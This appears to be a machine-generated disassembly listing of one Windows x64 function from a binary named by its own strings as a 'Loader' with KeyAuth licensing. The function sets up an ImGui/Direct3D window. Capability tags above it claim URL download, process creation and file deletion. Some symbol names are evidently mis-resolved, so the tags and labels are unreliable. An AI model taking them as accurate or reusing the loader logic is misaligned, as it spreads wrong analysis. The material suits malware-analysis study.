Function at 0x14003e620
Capabilities:
Check for time delay via gettickcount
Create process on windows
Delete file
Download url
Get common file path
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x878]
sub rsp, 0x950
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x14012bf00]
xor rax, rsp
mov qword [rbp + 0x7a0], rax
lea rcx, [0x1401e1a50]
call fcn.140057430
cmp byte [0x1401e1c60], 0
jne 0x14003e6fe
lea rdx, str.Error_to_connect_with_KeyAuth:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140042750
lea rdx, [0x1401e1c68]
cmp qword [0x1401e1c80], 0xf
cmova rdx, qword [0x1401e1c68]
mov r8, qword [0x1401e1c78]
mov rcx, rax
call fcn.140042be0
lea rdx, [0x140042930]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140041e25
mov dword [rbp + 0x2b0], 0x50
mov dword [rbp + 0x2b4], 0x40
lea rax, [0x140041fc0]
mov qword [rbp + 0x2b8], rax
xor r13d, r13d
mov qword [rbp + 0x2c0], r13
mov qword [rbp + 0x2c8], r13
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x2d0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp + 0x2d8], rax
mov qword [rbp + 0x2e0], r13
lea rax, str.ImGui
mov qword [rbp + 0x2e8], rax
lea rax, str.Example
mov qword [rbp + 0x2f0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x2f8], rax
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r15d, 1
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
subss xmm0, dword [0x1401165f4]
cvttss2si ebx, xmm0
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss xmm9, dword [0x140116618]
subss xmm0, xmm9
cvttss2si eax, xmm0
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], 0x226
mov dword [rsp + 0x30], 0x320
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
lea r8, str.Loader
mov rdx, qword [rbp + 0x2f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x1401e19b0], rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongW]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, qword [0x1401e19b0]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, qword [0x1401e19b0]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1401166b0]
movdqu xmmword [rbp + 0x358], xmm0
lea rdx, [rbp + 0x358]
mov rcx, qword [0x1401e19b0]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
movups xmmword [0x1401e19b8], xmm0
lea rdx, [0x1401e19b8]
mov rcx, qword [0x1401e19b0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov qword [rbp + 0x224], r13
mov qword [rbp + 0x238], 2
mov qword [rbp + 0x250], 2
mov qword [rbp + 0x210], r13
mov dword [rbp + 0x220], 0x1c
mov dword [rbp + 0x218], 0x3c
mov dword [rbp + 0x21c], r15d
mov dword [rbp + 0x234], 0x20
mov rax, qword [0x1401e19b0]
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x22c], r15
mov qword [rbp + 0x248], r15
mov dword [rbp + 0x368], 0xb000
mov dword [rbp + 0x36c], 0xa000
lea rax, [0x1401e1d88]
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0x300]
mov qword [rsp + 0x50], rax
lea rax, [0x1401e1d68]
mov qword [rsp + 0x48], rax
lea rax, [0x1401e1d58]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x368]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jne 0x140041e09
call fcn.140041f50
mov dword [rsp + 0x28], gethostname
mov dword [rsp + 0x20], gethostname
xor edx, edx
xor ecx, ecx
mov r9d, 0x226
mov r8d, 0x320
call qword [sym.imp.GDI32.dll_CreateRoundRectRgn]
xor r8d, r8d
mov rdx, rax
mov rcx, qword [0x1401e19b0]
call qword [sym.imp.USER32.dll_SetWindowRgn]
mov edx, 0xa
mov rcx, qword [0x1401e19b0]
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401e19b0]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x1401e17e0]
test rbx, rbx
je 0x14003ea24
inc dword [rbx + 0xf4]
mov rdx, qword [0x1401e17d0]
mov ecx, 0x5e00
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x60]
mov qword [rbp + 0x310], rcx
mov qword [rbp + 0x308], rax
test rax, rax
je 0x14003ea5e
xor edx, edx
mov rcx, rax
call fcn.140001d30
jmp 0x14003ea61
mov rax, r13
mov qword [0x1401e17e0], rax
call fcn.1400057c0
test rbx, rbx
je 0x14003ea7b
mov qword [0x1401e17e0], rbx
jmp 0x14003ea82
mov rbx, qword [0x1401e17e0]
xorps xmm2, xmm2
xor eax, eax
movups xmmword [rbp + 0x210], xmm2
movups xmmword [rbp + 0x220], xmm2
movups xmmword [rbp + 0x250], xmm2
movups xmmword [rbp + 0x260], xmm2
mov qword [rbp + 0x290], rax
mov byte [rbp + 0x21c], 1
mov dword [rbp + 0x228], 3
mov dword [rbp + 0x22c], r15d
movss xmm7, dword [0x140116688]
mov dword [rbp + 0x254], 0x7f7fffff
movss xmm8, dword [0x1401164fc]
mov dword [rbp + 0x260], 0x3f800000
mov r12d, 0xffff
mov word [rbp + 0x264], r12w
movaps xmm0, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x380], xmm0
movaps xmm1, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x390], xmm1
movaps xmmword [rbp + 0x3a0], xmm2
movaps xmmword [rbp + 0x3b0], xmm2
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x3c0], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3e0], xmm2
movaps xmmword [rbp + 0x3f0], xmm2
movsd xmm0, qword [rbp + 0x290]
movsd qword [rbp + 0x400], xmm0
lea rsi, [0x14012bf90]
mov qword [rbp + 0x380], rsi
mov dword [rbp + 0x388], 0x4cd58
mov dword [rbp + 0x394], 0x41980000
lea r14, [0x1401157c8]
mov qword [rbp + 0x3b8], r14
lea rdx, [rbp + 0x380]
mov rcx, qword [rbx + 0x58]
call fcn.140028f60
xorps xmm2, xmm2
xor eax, eax
movups xmmword [rbp + 0x210], xmm2
movups xmmword [rbp + 0x220], xmm2
movups xmmword [rbp + 0x250], xmm2
movups xmmword [rbp + 0x260], xmm2
mov qword [rbp + 0x290], rax
mov byte [rbp + 0x21c], 1
mov dword [rbp + 0x228], 3
mov dword [rbp + 0x22c], r15d
mov dword [rbp + 0x254], 0x7f7fffff
mov dword [rbp + 0x260], 0x3f800000
mov word [rbp + 0x264], r12w
movaps xmm0, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x380], xmm0
movaps xmm1, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x390], xmm1
movaps xmmword [rbp + 0x3a0], xmm2
movaps xmmword [rbp + 0x3b0], xmm2
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x3c0], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3e0], xmm2
movaps xmmword [rbp + 0x3f0], xmm2
movsd xmm0, qword [rbp + 0x290]
movsd qword [rbp + 0x400], xmm0
lea rdi, [0x140178cf0]
mov qword [rbp + 0x380], rdi
mov dword [rbp + 0x388], 0x4d2c4
mov dword [rbp + 0x394], 0x41a80000
mov qword [rbp + 0x3b8], r14
lea rdx, [rbp + 0x380]
mov rcx, qword [rbx + 0x58]
call fcn.140028f60
xorps xmm2, xmm2
xor eax, eax
movups xmmword [rbp + 0x210], xmm2
movups xmmword [rbp + 0x220], xmm2
movups xmmword [rbp + 0x250], xmm2
movups xmmword [rbp + 0x260], xmm2
mov qword [rbp + 0x290], rax
mov byte [rbp + 0x21c], 1
mov dword [rbp + 0x228], 3
mov dword [rbp + 0x22c], r15d
mov dword [rbp + 0x254], 0x7f7fffff
mov dword [rbp + 0x260], 0x3f800000
mov word [rbp + 0x264], r12w
movaps xmm0, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x380], xmm0
movaps xmm1, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x390], xmm1
movaps xmmword [rbp + 0x3a0], xmm2
movaps xmmword [rbp + 0x3b0], xmm2
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x3c0], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3e0], xmm2
movaps xmmword [rbp + 0x3f0], xmm2
movsd xmm0, qword [rbp + 0x290]
movsd qword [rbp + 0x400], xmm0
mov qword [rbp + 0x380], rdi
mov dword [rbp + 0x388], 0x4d2c4
mov dword [rbp + 0x394], 0x41b80000
mov qword [rbp + 0x3b8], r14
lea rdx, [rbp + 0x380]
mov rcx, qword [rbx + 0x58]
call fcn.140028f60
mov qword [0x1401e2690], rax
xorps xmm2, xmm2
xor eax, eax
movups xmmword [rbp + 0x210], xmm2
movups xmmword [rbp + 0x220], xmm2
movups xmmword [rbp + 0x250], xmm2
movups xmmword [rbp + 0x260], xmm2
mov qword [rbp + 0x290], rax
mov byte [rbp + 0x21c], 1
mov dword [rbp + 0x228], 3
mov dword [rbp + 0x22c], r15d
mov dword [rbp + 0x254], 0x7f7fffff
mov dword [rbp + 0x260], 0x3f800000
mov word [rbp + 0x264], r12w
movaps xmm0, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x380], xmm0
movaps xmm1, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x390], xmm1
movaps xmmword [rbp + 0x3a0], xmm2
movaps xmmword [rbp + 0x3b0], xmm2
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x3c0], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3e0], xmm2
movaps xmmword [rbp + 0x3f0], xmm2
movsd xmm0, qword [rbp + 0x290]
movsd qword [rbp + 0x400], xmm0
mov qword [rbp + 0x380], rsi
mov dword [rbp + 0x388], 0x4cd58
mov dword [rbp + 0x394], 0x41d80000
mov qword [rbp + 0x3b8], r14
lea rdx, [rbp + 0x380]
mov rcx, qword [rbx + 0x58]
call fcn.140028f60
mov qword [0x1401e2b78], rax
xorps xmm2, xmm2
xor eax, eax
movups xmmword [rbp + 0x210], xmm2
movups xmmword [rbp + 0x220], xmm2
movups xmmword [rbp + 0x250], xmm2
movups xmmword [rbp + 0x260], xmm2
mov qword [rbp + 0x290], rax
mov byte [rbp + 0x21c], 1
mov dword [rbp + 0x228], 3
mov dword [rbp + 0x22c], r15d
mov dword [rbp + 0x254], 0x7f7fffff
mov dword [rbp + 0x260], 0x3f800000
mov word [rbp + 0x264], r12w
movaps xmm0, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x380], xmm0
movaps xmm1, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x390], xmm1
movaps xmmword [rbp + 0x3a0], xmm2
movaps xmmword [rbp + 0x3b0], xmm2
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x3c0], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3e0], xmm2
movaps xmmword [rbp + 0x3f0], xmm2
movsd xmm0, qword [rbp + 0x290]
movsd qword [rbp + 0x400], xmm0
lea rdi, [0x1401ddc50]
mov qword [rbp + 0x380], rdi
mov dword [rbp + 0x388], 0x2974
mov dword [rbp + 0x394], 0x420c0000
mov qword [rbp + 0x3b8], r14
lea rdx, [rbp + 0x380]
mov rcx, qword [rbx + 0x58]
call fcn.140028f60
mov qword [0x1401e1db8], rax
xorps xmm2, xmm2
xor eax, eax
movups xmmword [rbp + 0x210], xmm2
movups xmmword [rbp + 0x220], xmm2
movups xmmword [rbp + 0x250], xmm2
movups xmmword [rbp + 0x260], xmm2
mov qword [rbp + 0x290], rax
mov byte [rbp + 0x21c], 1
mov dword [rbp + 0x228], 3
mov dword [rbp + 0x22c], r15d
mov dword [rbp + 0x254], 0x7f7fffff
mov dword [rbp + 0x260], 0x3f800000
mov word [rbp + 0x264], r12w
movaps xmm0, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x380], xmm0
movaps xmm1, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x390], xmm1
movaps xmmword [rbp + 0x3a0], xmm2
movaps xmmword [rbp + 0x3b0], xmm2
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x3c0], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3e0], xmm2
movaps xmmword [rbp + 0x3f0], xmm2
movsd xmm0, qword [rbp + 0x290]
movsd qword [rbp + 0x400], xmm0
mov qword [rbp + 0x380], rsi
mov dword [rbp + 0x388], 0x4cd58
mov dword [rbp + 0x394], 0x41980000
mov qword [rbp + 0x3b8], r14
lea rdx, [rbp + 0x380]
mov rcx, qword [rbx + 0x58]
call fcn.140028f60
mov qword [0x1401e1db0], rax
xorps xmm2, xmm2
xor eax, eax
movups xmmword [rbp + 0x210], xmm2
movups xmmword [rbp + 0x220], xmm2
movups xmmword [rbp + 0x250], xmm2
movups xmmword [rbp + 0x260], xmm2
mov qword [rbp + 0x290], rax
mov byte [rbp + 0x21c], 1
mov dword [rbp + 0x228], 3
mov dword [rbp + 0x22c], r15d
mov dword [rbp + 0x254], 0x7f7fffff
mov dword [rbp + 0x260], 0x3f800000
mov word [rbp + 0x264], r12w
movaps xmm0, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x380], xmm0
movaps xmm1, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x390], xmm1
movaps xmmword [rbp + 0x3a0], xmm2
movaps xmmword [rbp + 0x3b0], xmm2
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x3c0], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3e0], xmm2
movaps xmmword [rbp + 0x3f0], xmm2
movsd xmm0, qword [rbp + 0x290]
movsd qword [rbp + 0x400], xmm0
mov qword [rbp + 0x380], rdi
mov dword [rbp + 0x388], 0x2974
mov dword [rbp + 0x394], 0x41b00000
mov qword [rbp + 0x3b8], r14
lea rdx, [rbp + 0x380]
mov rcx, qword [rbx + 0x58]
call fcn.140028f60
mov qword [0x1401e1dc0], rax
xorps xmm2, xmm2
xor eax, eax
movups xmmword [rbp + 0x210], xmm2
movups xmmword [rbp + 0x220], xmm2
movups xmmword [rbp + 0x250], xmm2
movups xmmword [rbp + 0x260], xmm2
mov qword [rbp + 0x290], rax
mov byte [rbp + 0x21c], 1
mov dword [rbp + 0x228], 3
mov dword [rbp + 0x22c], r15d
mov dword [rbp + 0x254], 0x7f7fffff
mov dword [rbp + 0x260], 0x3f800000
mov word [rbp + 0x264], r12w
movaps xmm0, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x380], xmm0
movaps xmm1, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x390], xmm1
movaps xmmword [rbp + 0x3a0], xmm2
movaps xmmword [rbp + 0x3b0], xmm2
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x3c0], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3e0], xmm2
movaps xmmword [rbp + 0x3f0], xmm2
movsd xmm0, qword [rbp + 0x290]
movsd qword [rbp + 0x400], xmm0
mov qword [rbp + 0x380], rdi
mov dword [rbp + 0x388], 0x2974
mov dword [rbp + 0x394], 0x42000000
mov qword [rbp + 0x3b8], r14
lea rdx, [rbp + 0x380]
mov rcx, qword [rbx + 0x58]
call fcn.140028f60
mov qword [0x1401e1dd0], rax
xorps xmm2, xmm2
xor eax, eax
movups xmmword [rbp + 0x210], xmm2
movups xmmword [rbp + 0x220], xmm2
movups xmmword [rbp + 0x250], xmm2
movups xmmword [rbp + 0x260], xmm2
mov qword [rbp + 0x290], rax
mov byte [rbp + 0x21c], 1
mov dword [rbp + 0x228], 3
mov dword [rbp + 0x22c], r15d
mov dword [rbp + 0x254], 0x7f7fffff
mov dword [rbp + 0x260], 0x3f800000
mov word [rbp + 0x264], r12w
movaps xmm0, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x380], xmm0
movaps xmm1, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x390], xmm1
movaps xmmword [rbp + 0x3a0], xmm2
movaps xmmword [rbp + 0x3b0], xmm2
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x3c0], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3e0], xmm2
movaps xmmword [rbp + 0x3f0], xmm2
movsd xmm0, qword [rbp + 0x290]
movsd qword [rbp + 0x400], xmm0
mov qword [rbp + 0x380], rdi
mov dword [rbp + 0x388], 0x2974
mov dword [rbp + 0x394], 0x41900000
mov qword [rbp + 0x3b8], r14
lea rdx, [rbp + 0x380]
mov rcx, qword [rbx + 0x58]
call fcn.140028f60
mov qword [0x1401e1dc8], rax
xorps xmm2, xmm2
xor eax, eax
movups xmmword [rbp + 0x210], xmm2
movups xmmword [rbp + 0x220], xmm2
movups xmmword [rbp + 0x250], xmm2
movups xmmword [rbp + 0x260], xmm2
mov qword [rbp + 0x290], rax
mov byte [rbp + 0x21c], 1
mov dword [rbp + 0x228], 3
mov dword [rbp + 0x22c], r15d
mov dword [rbp + 0x254], 0x7f7fffff
mov dword [rbp + 0x260], 0x3f800000
mov word [rbp + 0x264], r12w
movaps xmm0, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x380], xmm0
movaps xmm1, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x390], xmm1
movaps xmmword [rbp + 0x3a0], xmm2
movaps xmmword [rbp + 0x3b0], xmm2
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x3c0], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3e0], xmm2
movaps xmmword [rbp + 0x3f0], xmm2
movsd xmm0, qword [rbp + 0x290]
movsd qword [rbp + 0x400], xmm0
mov qword [rbp + 0x380], rdi
mov dword [rbp + 0x388], 0x2974
mov dword [rbp + 0x394], 0x40e00000
mov qword [rbp + 0x3b8], r14
lea rdx, [rbp + 0x380]
mov rcx, qword [rbx + 0x58]
call fcn.140028f60
mov qword [0x1401e1d98], rax
xor ecx, ecx
call fcn.140022290
mov rsi, qword [0x1401e19b0]
mov rdi, qword [0x1401e17e0]
lea rcx, [rbp + 0x310]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14003f5dd
lea rcx, [rbp + 0x308]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14003f5dd
mov rax, qword [0x1401e17e0]
test rax, rax
je 0x14003f4b2
inc dword [rax + 0xf4]
mov rdx, qword [0x1401e17d0]
mov ecx, 0x48
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
test rax, rax
je 0x14003f4e5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
mov qword [rbx + 0x40], rax
jmp 0x14003f4e8
mov rbx, r13
mov qword [rdi + 0x98], rbx
lea rax, [0x140115ce8]
mov qword [rdi + 0x88], rax
or dword [rdi + 0xc], 6
mov qword [rbx], rsi
mov rax, qword [rbp + 0x310]
mov qword [rbx + 0x20], rax
mov rax, qword [rbp + 0x308]
mov qword [rbx + 0x18], rax
mov dword [rbx + 0x28], 9
mov rax, qword [0x1401e17e0]
mov rax, qword [rax + 0x48a8]
mov rcx, qword [rax]
mov qword [rcx + 0x28], rsi
mov byte [rbx + 0x2d], 1
lea rax, str.xinput1_4.dll
mov qword [rbp + 0x320], rax
lea rax, str.xinput1_3.dll
mov qword [rbp + 0x328], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp + 0x330], rax
lea rax, str.xinput1_2.dll
mov qword [rbp + 0x338], rax
lea rax, str.xinput1_1.dll
mov qword [rbp + 0x340], rax
mov rdi, r13
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rbp + rdi*8 + 0x320]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x14003f5b1
inc rdi
cmp rdi, 5
jl 0x14003f590
jmp 0x14003f5dd
mov qword [rbx + 0x30], rsi
lea rdx, str.XInputGetCapabilities
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x38], rax
lea rdx, str.XInputGetState
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x40], rax
mov r14, qword [0x1401e1d88]
mov rsi, qword [0x1401e1d68]
mov rdi, qword [0x1401e17e0]
test rdi, rdi
je 0x14003f5fd
inc dword [rdi + 0xf4]
mov rdx, qword [0x1401e17d0]
mov ecx, 0x78
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
test rax, rax
je 0x14003f644
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x14003f647
mov rbx, r13
mov qword [rdi + 0xa0], rbx
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x90], rax
or dword [rdi + 0xc], 8
mov qword [rbp + 0x2a0], r13
mov qword [rbp + 0x368], r13
mov qword [rbp + 0x2a8], r13
mov rax, qword [rsi]
lea r8, [rbp + 0x2a0]
lea rdx, [0x140115cb8]
mov rcx, rsi
call qword [rax]
test eax, eax
jne 0x14003f6df
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rcx]
lea r8, [rbp + 0x368]
lea rdx, [0x140115cc8]
call qword [rax + 0x30]
test eax, eax
jne 0x14003f6df
mov rcx, qword [rbp + 0x368]
mov rax, qword [rcx]
lea r8, [rbp + 0x2a8]
lea rdx, [0x140115cd8]
call qword [rax + 0x30]
test eax, eax
jne 0x14003f6df
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp + 0x2a8]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x2a0]
test rcx, rcx
je 0x14003f6f1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp + 0x368]
test rcx, rcx
je 0x14003f703
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, qword [0x1401e17e0]
mov dword [rax + 0x381c], 0x40a00000
mov dword [rax + 0x3820], 0x40a00000
mov dword [rax + 0x382c], 0x41a00000
mov dword [rax + 0x3830], 0x41a00000
mov dword [rax + 0x3824], 0x41200000
mov qword [rax + 0x37f0], 0x41f00000
xor r14d, r14d
mov dword [rax + 0x3818], r14d
mov qword [rax + 0x37e8], r14
mov dword [rax + 0x3810], 0x41200000
xor r12b, r12b
mov dword [rbp + 0x300], r12d
lea rsi, [0x140115f80]
xorps xmm10, xmm10
movss xmm11, dword [0x140116634]
movss xmm15, dword [0x1401164c4]
mov ebx, 4
lea rdi, [0x1401e19c8]
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x210]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14003f827
nop word [rax + rax]
lea rcx, [rbp + 0x210]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x210]
call qword [sym.imp.USER32.dll_DispatchMessageW]
movzx r12d, r12b
cmp dword [rbp + 0x218], 0x12
cmove r12d, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x210]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x14003f7d0
mov dword [rbp + 0x300], r12d
test r12b, r12b
jne 0x140041c43
mov rax, qword [0x1401e17e0]
test rax, rax
je 0x14003f83c
mov rcx, qword [rax + 0xa0]
jmp 0x14003f83f
mov rcx, r14
cmp qword [rcx + 0x48], 0
jne 0x14003f84b
call fcn.14002eab0
call fcn.14002f8e0
call fcn.140007b30
cmp byte [0x1401e1a48], 0
jne 0x14003f959
mov qword [rbp + 0x320], 0xffffffffffffffff
mov qword [rbp + 0x328], 0xffffffffffffffff
mov qword [rbp + 0x330], 0xffffffffffffffff
mov qword [rbp + 0x338], 0xffffffffffffffff
mov dword [rbp + 0x340], 0xffffffff
mov qword [rbp + 0x344], 0xfffffffffffffffd
mov dword [rbp + 0x34c], 0xffffffff
mov qword [rbp + 0x350], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x320]
mov r8d, 0x1337b
lea rdx, [0x1401c5fc0]
mov rcx, qword [0x1401e1d68]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r14
lea rax, [0x1401e1990]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x320]
mov r8d, 0x395c
lea rdx, [0x1401d9340]
mov rcx, qword [0x1401e1d68]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r14
lea rax, [0x1401e1880]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x320]
mov r8d, 0xfae
lea rdx, [0x1401dcca0]
mov rcx, qword [0x1401e1d68]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov byte [0x1401e1a48], 1
mov rax, qword [0x1401e17e0]
or dword [rax + 0x47a8], 2
mov dword [rax + 0x47c8], 0x44480000
mov dword [rax + 0x47cc], 0x44098000
mov dword [rax + 0x47b0], r15d
xor edx, edx
mov r8d, 0xab
lea rcx, str.General
call fcn.14000cf60
mov rcx, qword [0x1401e17e0]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ed0]
mov rdi, qword [rax + 0x290]
movsd xmm6, qword [rax + 0x18]
movsd qword [rsp + 0x68], xmm6
lea rdx, [0x1401e19b8]
mov rcx, qword [0x1401e19b0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x1401e17e0]
mov rcx, qword [rax + 0x3ed0]
movd xmm0, dword [0x1401e19bc]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rcx + 0x1c]
